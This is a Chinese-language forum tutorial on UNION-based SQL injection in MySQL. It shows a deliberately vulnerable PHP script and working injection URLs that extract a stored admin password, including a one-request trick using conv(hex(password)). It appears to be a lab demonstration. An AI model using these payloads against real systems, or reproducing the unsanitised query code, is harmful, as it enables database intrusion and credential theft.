Union查询小技巧
作者:toby57
相信大家在注入中没有少用联合查询吧,呵呵。的确union查询是很方便的,不用一个字符接一个字符的猜了,大大提高了生厂力,然而又因为它的条件要求很 多时候并不能完全满足,每每那个时候就只有看着注入点,嚎吼一声,带着满脸悲愤开始使用最原始的方法。当然,条件不允许我们也没有办法,然而有些时候却是 自己的马虎导致高效率的联合查询方法不被采用,这可不符合“三代表”中的“代表最先进的生产力”啊。以下要说到的就可能是其中一种情况。^_^(相信很多 朋友都已经知道了,只是我在网上没有看到吧,这儿提出来且当自己消遣自己,扯淡为主)
mysql> select * from test;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | admin | admin888 |
+------+----------+----------+
1 row in set (0.03 sec)
test.php:
<?
$id=$_GET['id'];
$lnk = mysql_connect('localhost', 'root', 'root') or die ('Not connected : ' . mysql_error());
mysql_select_db('test', $lnk) or die ('Can\'t use foo : ' . mysql_error());
$query = "SELECT count(*) FROM test where id=$id";
$result = mysql_query($query);
while($result_row = mysql_fetch_row($result))
{
if(($result_row[0])&&is_numeric($result_row[0])){
echo $result_row[0];
}
}
?>
大家都知道在联合查询中不但前后列数要相等,类型也要一样。那么在这个注入点中,前一查询返回值类型应该是数字型,而我们要想用联合查询得到类型为text的password,应该怎么办呢?
其实我们可以先查出密码长度:
http://www.hacker.com/test.php?id=1%20and%201=2%20union%20select%20length(password)%20from%20test%23
返回结果为8。OK,再来:
http://www.hacker.com/test.php?id=1%20and%201=2%20union%20select%20ascii(mid(password,1,1))%20from%20test
返回的结果为password的第一位的ASCII码值,接下来将每一位都查出来就OK了。
然而其实我们有更方便的方法,嘿嘿,一次查询就够了。
我们提交:
http://www.hacker.com/test.php?id=1%20and%201=2%20union%20select%20conv(hex(password),16,10)%20from%20test
返回7017854418938247224。转换为16进制为0x61646D696E383838,它就是“admin888”的十六制咯。哈,原理就不说了,相信大家都“昂第二是蛋的”了。
测试中不用conv函数转换一下类型会不匹配,汗,不知嘛原因。
Ok!扯淡完毕。
哈哈,学到不少东西啊